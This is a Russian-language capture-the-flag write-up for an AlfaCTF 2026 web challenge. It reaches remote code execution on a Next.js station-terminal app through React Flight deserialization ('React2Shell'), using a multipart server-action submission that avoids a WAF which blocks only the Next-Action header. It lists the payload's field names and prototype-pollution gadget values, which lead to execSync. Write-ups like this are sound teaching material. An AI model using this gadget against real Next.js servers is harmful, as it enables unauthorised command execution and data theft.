April 27

Фуникулёр врагам Кубани

CTF: АльфаЦТФ2026

Категория: Web

Теги: Hard, JS

Трек: CTF-трек

Автор: @rkc015


Цель: восстановить штатную работу терминала и запустить скрипт восстановления из бэкапа.

1. Исходные наблюдения

На главной странице https://funicular-gm2cxozn.alfactf.ru/ отображался интерфейс станции "СБУК-7 // ОП-3" со следующими признаками инцидента:

- на главном табло был баннер "КУРАГУ ДРУЗЬЯМ КУБАНИ";
- линия находилась в сервисном стопе;
- шкаф lift-hvc-2 был в состоянии "стоп";
- интерфейс подсказывал, что требуется восстановление резервной копии ПЛК и перезагрузка;
- в RSC/HTML-потоке страницы присутствовали:
packet = south-line.2026-03-27
workOrder = WO-17-04
recoveryAction = server action

Клиентская панель показывала только три операции:

- plc-sync
- telemetry-snapshot
- maintenance-preview

Все они отправлялись в POST /api/operator/dispatch.

2. Первичная диагностика доступа

Локально сетевые запросы сначала не работали из-за прокси в окружении:

- HTTP_PROXY=http://127.0.0.1:9
- HTTPS_PROXY=http://127.0.0.1:9
- ALL_PROXY=http://127.0.0.1:9

После очистки этих переменных удалось нормально обращаться к целевому хосту.

3. Что показал клиентский код

Из страницы и JS-чанков удалось извлечь:

- server action id: 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2
- dispatch endpoint: /api/operator/dispatch
- параметры интерфейса:
  packet = south-line.2026-03-27
  workOrder = WO-17-04
  terminal = ОП-3 / верхняя станция

При прямых POST-запросах к /api/operator/dispatch сервер отвечал 502:

"Сервисный контур станции неисправен. От шлюза не получен ответ за требуемое время."

То есть нормальный клиентский путь был заведомо сломан.

4. Проверка hidden server action

Так как в RSC-потоке был виден server action id, следующая гипотеза была такой:

- либо recoveryAction реально выполняет восстановление;
- либо его можно дернуть в обход клиентского API.

Прямой вызов server action через стандартный Next.js fetch-механизм потребовал заголовок Next-Action.
Этот путь сразу блокировался WAF:

HTTP 403
Request blocked by WAF: ^Next-Action$

Проверка разными регистрами заголовка не помогла:

- Next-Action
- next-action
- NEXT-ACTION
- смешанный регистр

Все варианты отбрасывались одинаково.

5. Смещение акцента на React2Shell + WAF bypass

Дальнейшее исследование велось уже с акцентом на React2Shell и обход фильтрации.

Ключевая идея:

- WAF режет только прямой action-fetch с заголовком Next-Action;
- но Next.js умеет обрабатывать multipart form submit в MPA-ветке;
- для MPA multipart используются поля $ACTION_ID_* и $ACTION_REF_*;
- в этом пути можно попасть в React Flight deserialization без запрещённого заголовка.

6. Что показали исходники/бандлы Next.js на сервере

Через изучение серверных чанков Next.js было подтверждено:

- recoveryAction с id 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2 существует;
- он зарегистрирован как requestRecovery;
- его реализация возвращает только заглушку:
  {
    ok: false,
    packet: "south-line.2026-03-27",
    workOrder: "WO-17-04",
    error: "recovery-offline",
    message: "Контур восстановления требует авторизации через сервисный шлюз. Повторите после сверки регламентного пакета."
  }

Иными словами, легитимный recoveryAction сам по себе ничего не чинит.

7. Рабочий WAF bypass

Сработал обход через multipart MPA submission без заголовка Next-Action.

Критическая схема полей:

- $ACTION_REF_1
- $ACTION_1:0
- $ACTION_1:1

Успешная полезная нагрузка использовала:

- валидный action id;
- bound = "$1" или "$@1";
- then = "$1:__proto__:then";
- status = "resolved_model";
- value = "{\"then\":\"$B0\"}";
- _response._formData.get = "$1:constructor:constructor";
- _response._prefix = JavaScript-код для execSync(...)

Именно этот путь дал выполнение команды на сервере и вернул HTTP 303 с Location вида:

http://x/<base64-stdout>

Это подтвердило успешный React2Shell в обход WAF.

8. Подтверждение RCE

В качестве безопасной проверки были выполнены команды:

- pwd
- ls -la
- find / -maxdepth 3 -type f ...

Результаты:

- рабочая директория: /app
- приложение собрано в standalone Next.js
- найден скрипт восстановления:
  /app/scripts/restore-from-backups.sh

9. Анализ скрипта восстановления

Содержимое /app/scripts/restore-from-backups.sh:

- читает receipt из:
  /opt/funicular/archive/WO-17-04.receipt
- если receipt недоступен или пуст, возвращает ошибку;
- если receipt прочитан, печатает:
  workflow: operator-recovery
  ticket: WO-17-04
  packet: south-line.2026-03-27
  status: applied
  receipt: <значение>

То есть фактическое "восстановление" в рамках задания заключается в запуске этого скрипта и получении контрольной receipt-строки.

10. Запуск скрипта восстановления

Скрипт был выполнен напрямую через уже рабочий React2Shell bypass.

Команда:

/app/scripts/restore-from-backups.sh

Результат:

workflow: operator-recovery
ticket: WO-17-04
packet: south-line.2026-03-27
status: applied
receipt: alfa{*иди получай флаг сам, салага*}

11. Дополнительная проверка receipt

Файл /opt/funicular/archive/WO-17-04.receipt содержал:

alfa{иди получай флаг сам, салага 2}

Это совпало с выводом restore-скрипта.

12. Итог

Штатный путь через клиентские кнопки и /api/operator/dispatch был неработоспособен.
Hidden recoveryAction существовал, но был намеренно заглушён и возвращал только "recovery-offline".
Рабочее решение потребовало:

- выявить Next.js server action;
- понять, что WAF режет только заголовок Next-Action;
- перейти на multipart MPA-путь;
- использовать React2Shell через $ACTION_REF_* в обход WAF;
- выполнить реальный restore-скрипт напрямую.

Итоговый флаг:

alfa{иди получай флаг сам, салага 3}

13. Краткая техническая выжимка

- Платформа: Next.js App Router
- Защита: WAF с фильтром по заголовку Next-Action
- Обход: multipart MPA server action path
- Эксплуатация: React2Shell / Flight deserialization gadget
- Реально полезный файл: /app/scripts/restore-from-backups.sh
- Receipt-файл: /opt/funicular/archive/WO-17-04.receipt

14. Вывод по сценарию задания

С практической точки зрения задача решалась не через "починку" UI, а через исследование серверной логики:

- UI вводил в заблуждение;
- официальный recovery route был отключён;
- единственным надёжным способом выполнить требование задания оказался прямой запуск backup restore script на сервере.